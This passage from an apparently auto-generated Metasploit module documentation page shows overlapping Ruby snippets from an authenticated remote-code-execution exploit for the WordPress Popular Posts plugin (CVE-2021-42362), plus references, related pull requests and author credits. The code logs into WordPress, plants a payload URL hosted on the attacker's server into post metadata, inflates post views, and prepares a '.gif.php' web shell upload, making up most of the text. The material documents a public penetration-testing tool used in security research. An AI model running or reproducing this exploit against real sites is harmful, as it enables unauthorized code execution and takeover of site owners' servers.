283: return post_id, ajax_nonce, wp_nonce
284: end
285:
286: def add_meta(cookie, post_id, ajax_nonce, payload_name)
287: payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}"
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
299: 'metavalue' => payload_url,
300: '_ajax_nonce-add-meta' => ajax_nonce,
301: 'post_id' => post_id
302: }
303: )
304: fail_with(Failure::Unreachable, 'Site not responding') unless res
305: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
306: fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-"
307: end
308:
309: def boost_post(cookie, post_id, wp_nonce, post_count)
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
300: '_ajax_nonce-add-meta' => ajax_nonce,
301: 'post_id' => post_id
302: }
303: )
304: fail_with(Failure::Unreachable, 'Site not responding') unless res
305: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
306: fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-"
307: end
308:
309: def boost_post(cookie, post_id, wp_nonce, post_count)
310: # redirect as needed
Failed to update metadata
Here is a relevant code snippet related to the "Failed to update metadata" error message:
301: 'post_id' => post_id
302: }
303: )
304: fail_with(Failure::Unreachable, 'Site not responding') unless res
305: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
306: fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-"
307: end
308:
309: def boost_post(cookie, post_id, wp_nonce, post_count)
310: # redirect as needed
311: res = send_request_cgi(
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
312: 'uri' => normalize_uri(target_uri.path, 'index.php'),
313: 'keep_cookies' => 'true',
314: 'cookie' => cookie,
315: 'vars_get' => { 'page_id' => post_id }
316: )
317: fail_with(Failure::Unreachable, 'Site not responding') unless res
318: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301
319: print_status("Sending #{post_count} views to #{res.headers['Location']}")
320: location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after>
321: (1..post_count).each do |_c|
322: res = send_request_cgi!(
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
313: 'keep_cookies' => 'true',
314: 'cookie' => cookie,
315: 'vars_get' => { 'page_id' => post_id }
316: )
317: fail_with(Failure::Unreachable, 'Site not responding') unless res
318: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301
319: print_status("Sending #{post_count} views to #{res.headers['Location']}")
320: location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after>
321: (1..post_count).each do |_c|
322: res = send_request_cgi!(
323: 'uri' => "/#{location}",
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
323: 'uri' => "/#{location}",
324: 'cookie' => cookie,
325: 'keep_cookies' => 'true'
326: )
327: # just send away, who cares about the response
328: fail_with(Failure::Unreachable, 'Site not responding') unless res
329: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
330: res = send_request_cgi(
331: # this URL varies from the POC on EDB, and is modeled after what the browser does
332: 'uri' => normalize_uri(target_uri.path, 'index.php'),
333: 'vars_get' => {
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
324: 'cookie' => cookie,
325: 'keep_cookies' => 'true'
326: )
327: # just send away, who cares about the response
328: fail_with(Failure::Unreachable, 'Site not responding') unless res
329: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200
330: res = send_request_cgi(
331: # this URL varies from the POC on EDB, and is modeled after what the browser does
332: 'uri' => normalize_uri(target_uri.path, 'index.php'),
333: 'vars_get' => {
334: 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts')
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
341: 'wpp_id' => post_id,
342: 'sampling' => 0,
343: 'sampling_rate' => 100
344: }
345: )
346: fail_with(Failure::Unreachable, 'Site not responding') unless res
347: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201
348: end
349: fail_with(Failure::Unreachable, 'Site not responding') unless res
350: end
351:
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
342: 'sampling' => 0,
343: 'sampling_rate' => 100
344: }
345: )
346: fail_with(Failure::Unreachable, 'Site not responding') unless res
347: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201
348: end
349: fail_with(Failure::Unreachable, 'Site not responding') unless res
350: end
351:
352: def get_top_posts
Site not responding
Here is a relevant code snippet related to the "Site not responding" error message:
344: }
345: )
346: fail_with(Failure::Unreachable, 'Site not responding') unless res
347: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201
348: end
349: fail_with(Failure::Unreachable, 'Site not responding') unless res
350: end
351:
352: def get_top_posts
353: print_status('Determining post with most views')
354: res = get_widget
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
371: 'uri' => normalize_uri(target_uri.path),
372: 'keep_cookies' => 'true'
373: )
374: break unless @res.nil?
375: end
376: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
377: /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body
378: # load the widget directly
379: (1..10).each do |_|
380: @res = send_request_cgi(
381: 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id),
Failed to retrieve page
Here is a relevant code snippet related to the "Failed to retrieve page" error message:
384: 'is_single' => 0
385: }
386: )
387: break unless @res.nil?
388: end
389: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
390: @res
391: end
392:
393: def exploit
394: fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'
SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful
Here is a relevant code snippet related to the "SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful" error message:
389: fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200
390: @res
391: end
392:
393: def exploit
394: fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'
395: cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
396:
397: if cookie.nil?
398: vprint_error('Invalid login, check credentials')
399: return
Invalid login, check credentials
Here is a relevant code snippet related to the "Invalid login, check credentials" error message:
393: def exploit
394: fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0'
395: cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
396:
397: if cookie.nil?
398: vprint_error('Invalid login, check credentials')
399: return
400: end
401:
402: payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"
403: vprint_status("Payload file name: #{payload_name}")
gd is not installed on server, uexploitable
Here is a relevant code snippet related to the "gd is not installed on server, uexploitable" error message:
400: end
401:
402: payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php"
403: vprint_status("Payload file name: #{payload_name}")
404:
405: fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie)
406: post_count = get_top_posts
407:
408: # we dont need to pass the cookie anymore since its now saved into http client
409: token = get_wpp_admin_token(cookie)
410: vprint_status("wpp_admin_token: #{token}")
Go back to menu.
Related Pull Requests
- #15955 Merged Pull Request: BYOVD to Enable/Disable Windows Memory Protection
- #15941 Merged Pull Request: Capture passthrough command output in the output buffer handler.
- #15954 Merged Pull Request: grafana file read (CVE-2021-43798)
- #15948 Merged Pull Request: Wordpress wp_popular_posts rce (CVE-2021-42362)
- #15976 Merged Pull Request: Update Log4Shell references and VCenter URI
- #15831 Merged Pull Request: More SSH Session Support
- #15882 Merged Pull Request: Prevent payloads being used if can't clean up files
- #15964 Merged Pull Request: Fix json packrat module
- #15965 Merged Pull Request: Add tcp uri scheme for setting rhosts
- #15970 Merged Pull Request: Update log4shell documentation and default URI_FILE wordlist for scanning
- #15958 Merged Pull Request: Log4Shell HTTP Scanner
- #15963 Merged Pull Request: Support go 1.17 and remove startup errors for modules
References
- EDB-50129
- https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/
- WPVDB-bd4f157c-a3d7-4535-a587-0102ba4e3009
- https://plugins.trac.wordpress.org/changeset/2542638
- https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601
- CVE-2021-42362
See Also
Check also the following modules related to this module:
- exploit/multi/http/wp_ait_csv_rce
- exploit/multi/http/wp_catch_themes_demo_import
- exploit/multi/http/wp_crop_rce
- exploit/multi/http/wp_db_backup_rce
- exploit/multi/http/wp_dnd_mul_file_rce
- exploit/multi/http/wp_file_manager_rce
- exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
- exploit/multi/http/wp_plugin_backup_guard_rce
- exploit/multi/http/wp_plugin_elementor_auth_upload_rce
- exploit/multi/http/wp_plugin_modern_events_calendar_rce
- exploit/multi/http/wp_plugin_sp_project_document_rce
- exploit/multi/http/wp_responsive_thumbnail_slider_upload
- exploit/multi/http/wp_simple_file_list_rce
- exploit/multi/php/wp_duplicator_code_inject
- exploit/multi/misc/java_jdwp_debugger
Authors
- h00die
- Simone Cristofaro
- Jerome Bruandet
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.